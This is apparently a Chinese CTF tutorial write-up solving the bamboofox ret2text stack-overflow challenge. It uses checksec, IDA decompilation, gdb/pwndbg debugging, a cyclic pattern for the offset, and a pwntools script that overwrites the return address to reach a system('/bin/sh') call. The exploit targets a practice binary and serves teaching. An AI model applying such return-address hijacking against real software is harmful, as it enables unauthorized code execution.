前言
之前我们已经初步介绍了栈溢出和栈对齐,这一节我们将做一个巩固练习
ret2text
ret2text
先进行安全防护检测
1
2
3
4
5
6
7
8
9
10
11
| ~/P/c/p/l/u/s/r/bamboofox-ret2text ❯❯❯ chmod +x ./ret2text (.venv) master
'./ret2text' 的模式已由 0644 (rw-r--r--) 更改为 0755 (rwxr-xr-x)
~/P/c/p/l/u/s/r/bamboofox-ret2text ❯❯❯ pwn checksec ./ret2text (.venv) master ✱
[*] '/home/lhon901/Pwn/ctf-challenges/pwn/linux/user-mode/stackoverflow/ret2text/bamboofox-ret2text/ret2text'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes
|
ida pro 逆向
1
2
3
4
5
6
7
8
9
10
11
| int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets(s);
printf("Maybe I will tell you next time !");
return 0;
}
|
发现危险函数 gets, 可以进行栈溢出
1
2
3
4
5
6
7
8
9
10
11
12
13
| void secure()
{
time_t v0; // eax
int input; // [esp+18h] [ebp-10h] BYREF
int secretcode; // [esp+1Ch] [ebp-Ch]
v0 = time(0);
srand(v0);
secretcode = rand();
__isoc99_scanf(&unk_8048760, &input);
if ( input == secretcode )
system("/bin/sh");
}
|
发现 secure 函数中有一个随机数生成器,输入正确的数字可以执行 system("/bin/sh"),但是这个函数并没有被调用。
查看 secure 函数的汇编代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| .text:080485FD
.text:080485FD ; =============== S U B R O U T I N E =======================================
.text:080485FD
.text:080485FD ; Attributes: bp-based frame
.text:080485FD
.text:080485FD ; void secure()
.text:080485FD public secure
.text:080485FD secure proc near
.text:080485FD
.text:080485FD input = dword ptr -10h
.text:080485FD secretcode = dword ptr -0Ch
.text:080485FD
.text:080485FD ; __unwind {
.text:080485FD push ebp
.text:080485FE mov ebp, esp
.text:08048600 sub esp, 28h
.text:08048603 mov dword ptr [esp], 0 ; timer
.text:0804860A call _time
.text:0804860F mov [esp], eax ; seed
.text:08048612 call _srand
.text:08048617 call _rand
.text:0804861C mov [ebp+secretcode], eax
.text:0804861F lea eax, [ebp+input]
.text:08048622 mov [esp+4], eax
.text:08048626 mov dword ptr [esp], offset unk_8048760
.text:0804862D call ___isoc99_scanf
.text:08048632 mov eax, [ebp+input]
.text:08048635 cmp eax, [ebp+secretcode]
.text:08048638 jnz short locret_8048646
.text:0804863A mov dword ptr [esp], offset command ; "/bin/sh"
.text:08048641 call _system
|
我们可以直接栈溢出后劫持地址到
1
2
| .text:0804863A mov dword ptr [esp], offset command ; "/bin/sh"
.text:08048641 call _system
|
这样我们就可以跳过输入随机数的代码了
如何计算偏移量呢?

根据 gets 的参数 s 在栈中的位置可以计算出偏移量为 0x64
即上图中的 [ebp-64h], 表示当前局部变量距离栈底 0x64 字节
[esp + 1Ch] 表示当前栈顶指针偏移 0x1C 字节
因为我们要覆盖返回地址,而返回地址是在 ebp + 4 处 (32 位程序), 所以偏移为 0x64 + 0x4 = 0x68
1
2
3
4
5
6
7
| #!/usr/bin/env python
from pwn import *
sh = process('./ret2text')
target = 0x804863a
sh.sendline(b'A' * (0x64 + 4) + p32(target))
sh.interactive()
|
执行
1
2
3
4
5
6
7
8
| $ python exploit.py (.venv) master ✱ ◼
[+] Starting local process './ret2text': pid 56704
[*] Switching to interactive mode
[*] Process './ret2text' stopped with exit code 0 (pid 56704)
There is something amazing here, do you know anything?
Maybe I will tell you next time ![*] Got EOF while reading in interactive
$ ls
[*] Got EOF while sending in interactive
|
但是程序 EOF 了,证明偏移量可能测算错误了
修改源程序
1
2
3
4
5
6
7
8
9
10
| #!/usr/bin/env python
from pwn import *
context.terminal = ["kitty", "@", "launch", "--type=window"]
sh = process('./ret2text')
target = 0x804863a
gdb.attach(sh)
sh.sendline(b'A' * (0x64 + 4) + p32(target))
sh.interactive()
|
gdb.attach(sh) 可以在程序运行时附加 gdb 调试器
1
2
3
4
5
6
7
8
9
10
11
12
13
| pwndbg> stack 50
00:0000│ esp 0xff9070e0 —▸ 0xff9070fc ◂— 0x41414141 ('AAAA')
01:0004│-084 0xff9070e4 ◂— 0
02:0008│-080 0xff9070e8 ◂— 1
03:000c│-07c 0xff9070ec ◂— 0
04:0010│-078 0xff9070f0 ◂— 0
05:0014│-074 0xff9070f4 ◂— 1
06:0018│-070 0xff9070f8 —▸ 0xf7f6ea60 ◂— 0
07:001c│ eax 0xff9070fc ◂— 0x41414141 ('AAAA')
... ↓ 25 skipped
21:0084│-004 0xff907164 —▸ 0x804863a (secure+61) ◂— mov dword ptr [esp], 0x8048763
22:0088│ ebp 0xff907168 —▸ 0xf7f6db00 ◂— 0
23:008c│+004 0xff90716c —▸ 0xf7cd2575 ◂— add esp, 0x10
|
返回地址在 ebp + 4 处, 但是我们只覆盖到了 ebp - 0x8 处,所以修正好的偏移量是 0x64 + 0x8 = 0x6c
1
2
3
4
5
6
7
8
9
| ~/P/c/p/l/u/s/r/bamboofox-ret2text ❯❯❯ python exploit.py (.venv) master ✱ ◼
[+] Starting local process './ret2text': pid 59090
[*] Switching to interactive mode
There is something amazing here, do you know anything?
Maybe I will tell you next time !$ whoami
lhon901
$
[*] Interrupted
[*] Stopped process './ret2text' (pid 59090)
|
攻击成功
使用 gdb 来获取偏移
使用 ida pro 获取偏移量可能会不正确,我们可以使用动态调试来准确获得偏移量
先使用 pwn cyclic 命令来获取测试用的字符串
1
2
| $ pwn cyclic 500 (.venv) master ✱ ◼
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
|
使用 gdb 开始调试
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
| ~/P/c/p/l/u/s/r/bamboofox-ret2text ❯❯❯ gdb ./ret2text (.venv) master ✱ ◼
GNU gdb (GDB) 16.3
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 188 pwndbg commands and 42 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $hex2ptr, $argv, $envp, $argc, $environ, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
Reading symbols from ./ret2text...
------- tip of the day (disable with set show-tips off) -------
Pwndbg context displays where the program branches to thanks to emulating few instructions into the future. You can disable this with set emulate off which may also speed up debugging
pwndbg> r
Starting program: /home/lhon901/Pwn/ctf-challenges/pwn/linux/user-mode/stackoverflow/ret2text/bamboofox-ret2text/ret2text
This GDB supports auto-downloading debuginfo from the following URLs:
<https://debuginfod.archlinux.org>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
There is something amazing here, do you know anything?
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
Maybe I will tell you next time !
Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────
EAX 0
EBX 0xf7f6ae0c ◂— 0x22bd2c
ECX 0
EDX 0
EDI 0x80486d0 (__libc_csu_init) ◂— push ebp
ESI 0
EBP 0x62616163 ('caab')
ESP 0xffffcc80 ◂— 0x62616165 ('eaab')
EIP 0x62616164 ('daab')
──────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────
Invalid address 0x62616164
───────────────────────────────────────[ STACK ]───────────────────────────────────────
00:0000│ esp 0xffffcc80 ◂— 0x62616165 ('eaab')
01:0004│ 0xffffcc84 ◂— 0x62616166 ('faab')
02:0008│ 0xffffcc88 ◂— 0x62616167 ('gaab')
03:000c│ 0xffffcc8c ◂— 0x62616168 ('haab')
04:0010│ 0xffffcc90 ◂— 0x62616169 ('iaab')
05:0014│ 0xffffcc94 ◂— 0x6261616a ('jaab')
06:0018│ 0xffffcc98 ◂— 0x6261616b ('kaab')
07:001c│ 0xffffcc9c ◂— 0x6261616c ('laab')
─────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────
► 0 0x62616164 None
1 0x62616165 None
2 0x62616166 None
3 0x62616167 None
4 0x62616168 None
5 0x62616169 None
6 0x6261616a None
7 0x6261616b None
───────────────────────────────────────────────────────────────────────────────────────
pwndbg>
|
可以看到 EIP 0x62616164 ('daab') 指向了我们输入的字符串, EIP 正常情况下应该指向下一条将要被执行的地址
1
2
3
| pwndbg> pwn cyclic -l "daab"
112
This command is deprecated in Pwndbg. Please use the GDB's built-in syntax for running shell commands instead: !pwn <args>
|
112 转化为十六进制是 0x70, 距离返回地址是 0x70 个字节,符合我们之前计算的偏移量 (0x6c + 0x4 = 0x70)